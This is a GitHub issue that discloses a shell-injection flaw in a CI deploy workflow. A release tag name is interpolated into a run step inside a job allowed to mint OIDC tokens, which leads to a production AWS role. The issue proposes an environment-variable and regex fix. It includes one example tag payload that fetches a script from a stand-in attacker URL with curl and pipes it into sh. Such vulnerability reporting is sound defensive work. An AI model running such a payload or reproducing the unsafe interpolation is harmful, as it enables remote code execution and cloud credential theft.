Skip to content

sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649

Description

@cristim

Found during the #1542 sweep of .github/workflows/. Structurally identical to #1542: a raw interpolation of an attacker-influenceable value into a run: block, inside a job that holds id-token: write and has no environment: binding. Labelled to match #1542 accordingly.

Where

.github/workflows/deploy-aws-lambda.yml

  • :26 — permissions: id-token: write at workflow level
  • :56-57 — release: types: [created] trigger
  • :82 — prepare job. No environment: binding. Line :86 is environment: ${{ steps.set-env.outputs.environment }} under outputs: — that is an output named environment, not an environment binding. Easy to misread; it does not gate anything.
  • :107 — the defect:
echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUT

What

github.event.release.tag_name is a git tag name. git check-ref-format forbids spaces, ~, ^, :, ?, *, [, \ and control characters — but it permits ;, $, `, (, ), &, |, <, >, !, ' and ". So a tag named:

v1.0.0;curl$IFS-s$IFS'https://attacker/x'|sh;

is a valid ref, and cutting a release on it substitutes that text into the shell source of :107 before bash parses it. The absence of spaces is not a barrier — $IFS and brace expansion cover it.

The value additionally flows into $GITHUB_OUTPUT unescaped, so a tag containing a newline-equivalent could also poison the image_tag output consumed by build-and-deploy.

Why it matters

prepare inherits id-token: write from :26 and has no environment binding, so injected code there can mint an OIDC token. terraform/environments/aws/ci-cd-permissions/role.tf:29 accepts the subject repo:<org/repo>:ref:refs/heads/main independently of the environment:* subjects, so that token assumes cudly-terraform-deploy — the full production deploy role — without passing any reviewer gate.

This is the exact mechanism #1542 described, reached through a different trigger.

Precondition: creating a release requires write access to the repo. That is the same trust boundary #1542 had (dispatching a workflow also requires write access), so it is not a mitigation so much as a restatement of the threat model: a write-access user, or a compromised token/account with write access, escalates to production cloud credentials with no approval step.

Fix

Same shape as PR #1641:

- name: Set image tag
  id: set-tag
  env:
    EVENT_NAME: ${{ github.event_name }}
    RELEASE_TAG: ${{ github.event.release.tag_name }}
    SHA: ${{ github.sha }}
  run: |
    set -euo pipefail
    if [ "$EVENT_NAME" = "release" ]; then
      TAG="$RELEASE_TAG"
    else
      TAG="$SHA"
    fi
    # Registry-safe charset, same guard rollback.yml now applies to image_tag.
    if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
      echo "::error::Refusing unsafe tag: $TAG"
      exit 1
    fi
    echo "tag=$TAG" >> "$GITHUB_OUTPUT"

Also drop id-token: write from workflow level to only the jobs that authenticate, per the same change in #1641.

Note ${{ github.event_name }} and ${{ github.sha }} are also interpolated raw in this job (:93-101, :109); both are GitHub-generated and not attacker-settable, so they are hygiene rather than vulnerability — but moving them at the same time keeps the file consistent.

Scope

github.actor is interpolated into run: blocks at deploy-aws-fargate.yml:185, deploy-aws-lambda.yml:220, deploy-azure.yml:249 and deploy-gcp.yml:159. GitHub usernames are constrained to [A-Za-z0-9-], so those are not injectable and are listed here only so a reader does not re-flag them.

Related: #1542 / PR #1641 (same class, rollback.yml), #1647 (same class, database-migration.yml), #1591 (missing environment bindings), #1646 (no workflow linter, which is why none of these were caught).

No activity

Activity on this issue will appear here.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions